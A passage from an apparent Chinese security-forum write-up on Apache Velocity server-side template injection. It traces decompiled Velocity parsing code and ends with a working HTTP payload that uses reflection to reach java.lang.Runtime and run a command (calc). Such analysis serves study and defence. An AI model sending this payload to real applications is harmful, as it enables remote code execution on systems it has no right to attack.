<span class=n>result</span> <span class=o>=</span> <span class=n>EventHandlerUtil</span><span class=p>.</span><span class=n>invalidGetMethod</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rsvc</span><span class=p>,</span> <span class=n>context</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>getDollarBang</span><span class=p>()</span> <span class=o>+</span> <span class=n>this</span><span class=p>.</span><span class=n>rootString</span><span class=p>,</span> <span class=n>previousResult</span><span class=p>,</span> <span class=p>(</span><span class=n>String</span><span class=p>)</span><span class=n>null</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>uberInfo</span><span class=p>);</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=n>StringBuffer</span> <span class=n>name</span> <span class=o>=</span> <span class=p>(</span><span class=n>new</span> <span class=n>StringBuffer</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>getDollarBang</span><span class=p>())).</span><span class=n>append</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rootString</span><span class=p>);</span>
<span class=k>for</span><span class=p>(</span><span class=kt>int</span> <span class=n>i</span> <span class=o>=</span> <span class=mi>0</span><span class=p>;</span> <span class=n>i</span> <span class=o>&lt;=</span> <span class=n>failedChild</span><span class=p>;</span> <span class=o>++</span><span class=n>i</span><span class=p>)</span> <span class=p>{</span>
<span class=n>Node</span> <span class=n>node</span> <span class=o>=</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>i</span><span class=p>);</span>
<span class=k>if</span> <span class=p>(</span><span class=n>node</span> <span class=n>instanceof</span> <span class=n>ASTMethod</span><span class=p>)</span> <span class=p>{</span>
<span class=n>name</span><span class=p>.</span><span class=n>append</span><span class=p>(</span><span class=s>"."</span><span class=p>).</span><span class=n>append</span><span class=p>(((</span><span class=n>ASTMethod</span><span class=p>)</span><span class=n>node</span><span class=p>).</span><span class=n>getMethodName</span><span class=p>()).</span><span class=n>append</span><span class=p>(</span><span class=s>"()"</span><span class=p>);</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=n>name</span><span class=p>.</span><span class=n>append</span><span class=p>(</span><span class=s>"."</span><span class=p>).</span><span class=n>append</span><span class=p>(</span><span class=n>node</span><span class=p>.</span><span class=n>getFirstToken</span><span class=p>().</span><span class=n>image</span><span class=p>);</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=k>if</span> <span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>failedChild</span><span class=p>)</span> <span class=n>instanceof</span> <span class=n>ASTMethod</span><span class=p>)</span> <span class=p>{</span>
<span class=n>methodName</span> <span class=o>=</span> <span class=p>((</span><span class=n>ASTMethod</span><span class=p>)</span><span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>failedChild</span><span class=p>)).</span><span class=n>getMethodName</span><span class=p>();</span>
<span class=n>result</span> <span class=o>=</span> <span class=n>EventHandlerUtil</span><span class=p>.</span><span class=n>invalidMethod</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rsvc</span><span class=p>,</span> <span class=n>context</span><span class=p>,</span> <span class=n>name</span><span class=p>.</span><span class=n>toString</span><span class=p>(),</span> <span class=n>previousResult</span><span class=p>,</span> <span class=n>methodName</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>uberInfo</span><span class=p>);</span>
<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
<span class=n>methodName</span> <span class=o>=</span> <span class=n>this</span><span class=p>.</span><span class=n>jjtGetChild</span><span class=p>(</span><span class=n>failedChild</span><span class=p>).</span><span class=n>getFirstToken</span><span class=p>().</span><span class=n>image</span><span class=p>;</span>
<span class=n>result</span> <span class=o>=</span> <span class=n>EventHandlerUtil</span><span class=p>.</span><span class=n>invalidGetMethod</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rsvc</span><span class=p>,</span> <span class=n>context</span><span class=p>,</span> <span class=n>name</span><span class=p>.</span><span class=n>toString</span><span class=p>(),</span> <span class=n>previousResult</span><span class=p>,</span> <span class=n>methodName</span><span class=p>,</span> <span class=n>this</span><span class=p>.</span><span class=n>uberInfo</span><span class=p>);</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=k>return</span> <span class=n>result</span><span class=p>;</span>
<span class=p>}</span> <span class=n>catch</span> <span class=p>(</span><span class=n>MethodInvocationException</span> <span class=n>var9</span><span class=p>)</span> <span class=p>{</span>
<span class=n>var9</span><span class=p>.</span><span class=n>setReferenceName</span><span class=p>(</span><span class=n>this</span><span class=p>.</span><span class=n>rootString</span><span class=p>);</span>
<span class=n>throw</span> <span class=n>var9</span><span class=p>;</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=p>}</span>
<span class=p>}</span>
</pre></div>
<p>通过反射获取执行的类</p>
<p><a id=img24 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821102314-51e1ec12-5f64-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821102314-51e1ec12-5f64-1.png></a></p>
<p>最后完成解析执行:</p>
<p><a id=img25 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821102327-594cb6bc-5f64-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821102327-594cb6bc-5f64-1.png></a></p>
<p>补充一个可用载荷:</p>
<div class=highlight><pre><span></span><span class=n>POST</span> <span class=o>/</span><span class=n>ssti</span><span class=o>/</span><span class=n>velocity1</span> <span class=n>HTTP</span><span class=o>/</span><span class=mf>1.1</span>
<span class=nl>Host</span><span class=p>:</span> <span class=mf>192.168.1.7</span><span class=o>:</span><span class=mi>8080</span>
<span class=n>Upgrade</span><span class=o>-</span><span class=n>Insecure</span><span class=o>-</span><span class=nl>Requests</span><span class=p>:</span> <span class=mi>1</span>
<span class=n>User</span><span class=o>-</span><span class=nl>Agent</span><span class=p>:</span> <span class=n>Mozilla</span><span class=o>/</span><span class=mf>5.0</span> <span class=p>(</span><span class=n>Windows</span> <span class=n>NT</span> <span class=mf>10.0</span><span class=p>;</span> <span class=n>Win64</span><span class=p>;</span> <span class=n>x64</span><span class=p>)</span> <span class=n>AppleWebKit</span><span class=o>/</span><span class=mf>537.36</span> <span class=p>(</span><span class=n>KHTML</span><span class=p>,</span> <span class=n>like</span> <span class=n>Gecko</span><span class=p>)</span> <span class=n>Chrome</span><span class=o>/</span><span class=mf>127.0.0.0</span> <span class=n>Safari</span><span class=o>/</span><span class=mf>537.36</span>
<span class=nl>Accept</span><span class=p>:</span> <span class=n>text</span><span class=o>/</span><span class=n>html</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xhtml</span><span class=o>+</span><span class=n>xml</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=n>xml</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.9</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>avif</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>webp</span><span class=p>,</span><span class=n>image</span><span class=o>/</span><span class=n>apng</span><span class=p>,</span><span class=err>*/</span><span class=o>*</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.8</span><span class=p>,</span><span class=n>application</span><span class=o>/</span><span class=kt>signed</span><span class=o>-</span><span class=n>exchange</span><span class=p>;</span><span class=n>v</span><span class=o>=</span><span class=n>b3</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.7</span>
<span class=n>Accept</span><span class=o>-</span><span class=nl>Encoding</span><span class=p>:</span> <span class=n>gzip</span><span class=p>,</span> <span class=n>deflate</span>
<span class=n>Accept</span><span class=o>-</span><span class=nl>Language</span><span class=p>:</span> <span class=n>zh</span><span class=o>-</span><span class=n>CN</span><span class=p>,</span><span class=n>zh</span><span class=p>;</span><span class=n>q</span><span class=o>=</span><span class=mf>0.9</span>
<span class=nl>Connection</span><span class=p>:</span> <span class=n>close</span>
<span class=n>Content</span><span class=o>-</span><span class=nl>Type</span><span class=p>:</span> <span class=n>application</span><span class=o>/</span><span class=n>x</span><span class=o>-</span><span class=n>www</span><span class=o>-</span><span class=n>form</span><span class=o>-</span><span class=n>urlencoded</span>
<span class=n>Content</span><span class=o>-</span><span class=nl>Length</span><span class=p>:</span> <span class=mi>303</span>
<span class=n>username</span><span class=o>=</span><span class=err>#</span><span class=n>set</span><span class=p>(</span><span class=err>$</span><span class=n>s</span><span class=o>=</span><span class=s>""</span><span class=p>)</span>
<span class=cp>#set($stringClass=$s.getClass())</span>
<span class=cp>#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())</span>
<span class=cp>#set($process=$runtime.exec("cmd.exe /c calc"))</span>
<span class=cp>#set($out=$process.getInputStream())</span>
<span class=cp>#set($null=$process.waitFor() )</span>
<span class=cp>#foreach($i+in+[1..$out.available()])</span>
<span class=err>$</span><span class=n>out</span><span class=p>.</span><span class=n>read</span><span class=p>()</span>
<span class=cp>#end</span>
</pre></div>
<p><a id=img26 href=https://xzfile.aliyuncs.com/media/upload/picture/20240821102433-80eea478-5f64-1.png><img src=data:, data-sf-original-src=https://xzfile.aliyuncs.com/media/upload/picture/20240821102433-80eea478-5f64-1.png></a></p>
<h3 id=toc-5>参考连接</h3>
<p><a href=https://velocity.apache.org/engine/1.7/user-guide.html target=_blank>https://velocity.apache.org/engine/1.7/user-guide.html</a></p>
</div>
<div class=post-user-action style=margin-top:34px>
<span class="btn btn-default pull-right" id=mark data-action=topic data-pk=15358>
<span id=mark-text>点击收藏 </span><span class=i-seprator> | </span><span id=mark-count>0</span>
</span>
<span class="btn btn-default pull-right" id=follow_topic data-pk=15358>
<span>关注</span><span class=i-seprator> | </span><span id=follow-count>1</span>
</span>
<span class="btn btn-default pull-right">
<span>
<span id=ready_reward data-toggle=modal data-target=#myModal>打赏</span>
</span>
</span>
<div class=clearfix></div>
</div>
<div class=related-section>
<div class=related-box>
<span><a class=pull-left href=https://xz.aliyun.com/t/15357 title="CrewCTF2024 WP(Partial)"><span class=related-label style="padding:3px 4px;margin-right:3px">上一篇:</span>CrewCTF2024 WP(Pa...</a></span>
<span><a class=pull-left href=https://xz.aliyun.com/t/15402 title="某微 e-cology 远程代码执行漏洞分析(XVE-2024-20913)"><span class=related-label>下一篇:</span>某微 e-cology 远程代码执...</a></span>
</div>
</div>
</div>
</div>
</div>
<div class="modal fade" id=myModal role=dialog aria-labelledby=myModalLabel aria-hidden=true>
<div class=modal-dialog>
<div class=modal-content>
<div class=modal-header>
<h4 class=modal-title id=myModalLabel style=text-align:center>
积分打赏
</h4>
</div>
<div class=modal-body id=button-value>
<div style=text-align:center>
<div role=group>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type1>
1分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type2>
2分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type3>
5分
</button>
</div>
<br>
<div style=margin-top:20px>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type4>
8分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type5>
10分
</button>
<button type=button class="btn btn-secondary m64" style=min-width:64px data-value=type6>
20分
</button>
</div>
</div>
</div>
<div class=modal-footer id=confirm>
<button type=button class="btn btn-default" data-dismiss=modal>关闭</button>
<button type=button class="btn btn-primary" id=reward_topic data-pk=15358>确定</button>
</div>
</div>
</div>
</div>
<div class="row box">
<ol class=breadcrumb>
<li class=active>0 条回复</li>
</ol>
<div class="box-container post-container">
<ul>
<li style=min-height:50px;line-height:60px;margin-left:15px><strong>动动手指,沙发就是你的了!</strong></li>
</ul>
</div>
</div>
<div class="row box" id=reply-box>
<div class="box-container clearfix">
<div class=reminder>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F15358&amp;from_type=xianzhi"><strong>登录</strong></a> 后跟帖
</div>
</div>
</div>
</div>
</div>
</div>
<footer class=bs-docs-footer>
<div class="container text-center">
<div class=links>
<a href=https://xz.aliyun.com/feed target=_blank>RSS</a>
<a href=https://xz.aliyun.com/about target=_blank><span>关于社区</span></a>
<a href=https://xz.aliyun.com/partner target=_blank><span>友情链接</span></a>
<a href=https://xz.aliyun.com/notice>社区小黑板</a>
<a href=https://xz.aliyun.com/connection>联系我们</a>
<a href=https://report.aliyun.com/ target=_blank>举报中心</a>
<a href=https://www.aliyun.com/complaint target=_blank>我要投诉</a>
</div>
</div>
</footer>
<div id=waf_nc_block style=display:none></div><div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
* Pico.css v1.5.6 (https://picocss.com)
* Copyright 2019-2022 - Licensed under MIT
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:0.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:0.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:0.5rem;--nav-link-spacing-vertical:0.5rem;--nav-link-spacing-horizontal:0.5rem;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media (min-width:576px){#mount{--font-size:17px}}@media (min-width:768px){#mount{--font-size:18px}}@media (min-width:992px){#mount{--font-size:19px}}@media (min-width:1200px){#mount{--font-size:20px}}@media (min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media (min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media (min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media (min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media (min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:0.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:0.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#F5F7F9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-shadow:0 0 0 rgba(0,0,0,0);--button-hover-box-shadow:0 0 0 rgba(0,0,0,0);--form-element-background-color:transparent;--form-element-border-color:hsl(205deg,14%,68%);--form-element-color:var(--color);--form-element-placeholder-color:var(--muted-color);--form-element-active-background-color:transparent;--form-element-active-border-color:var(--primary);--form-element-focus-color:var(--primary-focus);--form-element-disabled-background-color:hsl(205deg,18%,86%);--form-element-disabled-border-color:hsl(205deg,14%,68%);--form-element-disabled-opacity:0.5;--form-element-invalid-border-color:#c62828;--form-element-invalid-active-border-color:#d32f2f;--form-element-invalid-focus-color:rgba(211,47,47,0.125);--form-element-valid-border-color:#388e3c;--form-element-valid-active-border-color:#43a047;--form-element-valid-focus-color:rgba(67,160,71,0.125);--switch-background-color:hsl(205deg,16%,77%);--switch-color:var(--primary-inverse);--switch-checked-background-color:var(--primary);--range-border-color:hsl(205deg,18%,86%);--range-active-border-color:hsl(205deg,16%,77%);--range-thumb-border-color:var(--background-color);--range-thumb-color:var(--secondary);--range-thumb-hover-color:var(--secondary-hover);--range-thumb-active-color:var(--primary);--table-border-color:var(--muted-border-color);--table-row-stripped-background-color:#f6f8f9;--code-background-color:hsl(205deg,20%,94%);--code-color:var(--muted-color);--code-kbd-background-color:var(--contrast);--code-kbd-color:var(--contrast-inverse);--code-tag-color:hsl(330deg,40%,50%);--code-property-color:hsl(185deg,40%,40%);--code-value-color:hsl(40deg,20%,50%);--code-comment-color:hsl(205deg,14%,68%);--accordion-border-color:var(--muted-border-color);--accordion-close-summary-color:var(--color);--accordion-open-summary-color:var(--muted-color);--card-background-color:var(--background-color);--card-border-color:var(--muted-border-color);--card-box-shadow:0.0145rem 0.029rem 0.174rem rgba(27,40,50,0.01698),0.0335rem 0.067rem 0.402rem rgba(27,40,50,0.024),0.0625rem 0.125rem 0.75rem rgba(27,40,50,0.03),0.1125rem 0.225rem 1.35rem rgba(27,40,50,0.036),0.2085rem 0.417rem 2.502rem rgba(27,40,50,0.04302),0.5rem 1rem 6rem rgba(27,40,50,0.06),0 0 0 0.0625rem rgba(27,40,50,0.015);--card-sectionning-background-color:#fbfbfc;--dropdown-background-color:#fbfbfc;--dropdown-border-color:#e1e6eb;--dropdown-box-shadow:var(--card-box-shadow);--dropdown-color:var(--color);--dropdown-hover-background-color:hsl(205deg,20%,94%);--modal-overlay-background-color:rgba(213,220,226,0.7);--progress-background-color:hsl(205deg,18%,86%);--progress-color:var(--primary);--loading-spinner-opacity:0.5;--tooltip-background-color:var(--contrast);--tooltip-color:var(--contrast-inverse);--icon-checkbox:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button-inverse:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-close:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(115,\ 130,\ 140\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'18\'\ y1=\'6\'\ x2=\'6\'\ y2=\'18\'%3E%3C/line%3E%3Cline\ x1=\'6\'\ y1=\'6\'\ x2=\'18\'\ y2=\'18\'%3E%3C/line%3E%3C/svg%3E);--icon-date:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Crect\ x=\'3\'\ y=\'4\'\ width=\'18\'\ height=\'18\'\ rx=\'2\'\ ry=\'2\'%3E%3C/rect%3E%3Cline\ x1=\'16\'\ y1=\'2\'\ x2=\'16\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'8\'\ y1=\'2\'\ x2=\'8\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'3\'\ y1=\'10\'\ x2=\'21\'\ y2=\'10\'%3E%3C/line%3E%3C/svg%3E);--icon-invalid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(198,\ 40,\ 40\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cline\ x1=\'12\'\ y1=\'8\'\ x2=\'12\'\ y2=\'12\'%3E%3C/line%3E%3Cline\ x1=\'12\'\ y1=\'16\'\ x2=\'12.01\'\ y2=\'16\'%3E%3C/line%3E%3C/svg%3E);--icon-minus:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'5\'\ y1=\'12\'\ x2=\'19\'\ y2=\'12\'%3E%3C/line%3E%3C/svg%3E);--icon-search:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'11\'\ cy=\'11\'\ r=\'8\'%3E%3C/circle%3E%3Cline\ x1=\'21\'\ y1=\'21\'\ x2=\'16.65\'\ y2=\'16.65\'%3E%3C/line%3E%3C/svg%3E);--icon-time:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cpolyline\ points=\'12\ 6\ 12\ 12\ 16\ 14\'%3E%3C/polyline%3E%3C/svg%3E);--icon-valid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(56,\ 142,\ 60\)\'\ stroke-width=\'3\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-share:url(data:image/svg+xml;charset=utf-8;base64,PHN2ZyB3aWR0aD0nMjQnIGhlaWdodD0nMjQnIHZpZXdCb3g9JzAgMCAyNCAyNCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJz48cGF0aCBkPSdNMTguOTM0OCA4LjY0ODQ0QzIwLjg5NDEgOC42NDg0NCAyMi40ODU1IDcuMDU0NjkgMjIuNDg1NSA1LjA5NzY2QzIyLjQ4NTUgMy4xNDA2MiAyMC44OTE4IDEuNTQ2ODggMTguOTM0OCAxLjU0Njg4QzE2Ljk3NTQgMS41NDY4OCAxNS4zODQgMy4xNDA2MiAxNS4zODQgNS4wOTc2NkMxNS4zODQgNS4yOTkyMiAxNS40MDA0IDUuNDkzNzUgMTUuNDMzMiA1LjY4NTk0TDcuMzIzODMgOS4zNTM5MUM2LjcwOTc3IDguODQ1MzEgNS45MjIyNyA4LjU0MDYyIDUuMDY0NDUgOC41NDA2MkMzLjEwNTA4IDguNTQwNjIgMS41MTM2NyAxMC4xMzQ0IDEuNTEzNjcgMTIuMDkxNEMxLjUxMzY3IDE0LjA0ODQgMy4xMDc0MiAxNS42NDIyIDUuMDY0NDUgMTUuNjQyMkM1LjgzMzIgMTUuNjQyMiA2LjU0NTcgMTUuMzk2MSA3LjEyNjk1IDE0Ljk4MTNMMTIuNDk0MSAxNy45OTUzQzEyLjQxNjggMTguMjg1OSAxMi4zNzcgMTguNTg4MyAxMi4zNzcgMTguOTAyM0MxMi4zNzcgMjAuODYxNyAxMy45NzA3IDIyLjQ1MzEgMTUuOTI3NyAyMi40NTMxQzE3Ljg4NzEgMjIuNDUzMSAxOS40Nzg1IDIwLjg1OTQgMTkuNDc4NSAxOC45MDIzQzE5LjQ3ODUgMTYuOTQzIDE3Ljg4NDggMTUuMzUxNiAxNS45Mjc3IDE1LjM1MTZDMTQuOTU3NCAxNS4zNTE2IDE0LjA3ODUgMTUuNzQzIDEzLjQzNjMgMTYuMzczNEw4LjMyMjI3IDEzLjUwNDdDOC41MDk3NyAxMy4wNzExIDguNjE1MjMgMTIuNTk1MyA4LjYxNTIzIDEyLjA5MzhDOC42MTUyMyAxMS42ODEyIDguNTQ0OTIgMTEuMjg3NSA4LjQxNjAyIDEwLjkxOTVMMTYuMjIzIDcuMzg3NUMxNi44NzQ2IDguMTU2MjUgMTcuODQ5NiA4LjY0ODQ0IDE4LjkzNDggOC42NDg0NFpNNS4wNjQ0NSAxMy43Njk1QzQuMTQxMDIgMTMuNzY5NSAzLjM4ODY3IDEzLjAxNzIgMy4zODg2NyAxMi4wOTM4QzMuMzg4NjcgMTEuMTcwMyA0LjE0MTAyIDEwLjQxOCA1LjA2NDQ1IDEwLjQxOEM1Ljk4Nzg5IDEwLjQxOCA2Ljc0MDIzIDExLjE3MDMgNi43NDAyMyAxMi4wOTM4QzYuNzQwMjMgMTMuMDE3MiA1Ljk4Nzg5IDEzLjc2OTUgNS4wNjQ0NSAxMy43Njk1Wk0xNS45Mjc3IDE3LjIyNjZDMTYuODUxMiAxNy4yMjY2IDE3LjYwMzUgMTcuOTc4OSAxNy42MDM1IDE4LjkwMjNDMTcuNjAzNSAxOS44MjU4IDE2Ljg1MTIgMjAuNTc4MSAxNS45Mjc3IDIwLjU3ODFDMTUuMDA0MyAyMC41NzgxIDE0LjI1MiAxOS44MjU4IDE0LjI1MiAxOC45MDIzQzE0LjI1MiAxNy45Nzg5IDE1LjAwMiAxNy4yMjY2IDE1LjkyNzcgMTcuMjI2NlpNMTguOTM0OCAzLjQxOTUzQzE5Ljg1ODIgMy40MTk1MyAyMC42MTA1IDQuMTcxODcgMjAuNjEwNSA1LjA5NTMxQzIwLjYxMDUgNi4wMTg3NSAxOS44NTgyIDYuNzcxMDkgMTguOTM0OCA2Ljc3MTA5QzE4LjAxMTMgNi43NzEwOSAxNy4yNTkgNi4wMTg3NSAxNy4yNTkgNS4wOTUzMUMxNy4yNTkgNC4xNzE4NyAxOC4wMTEzIDMuNDE5NTMgMTguOTM0OCA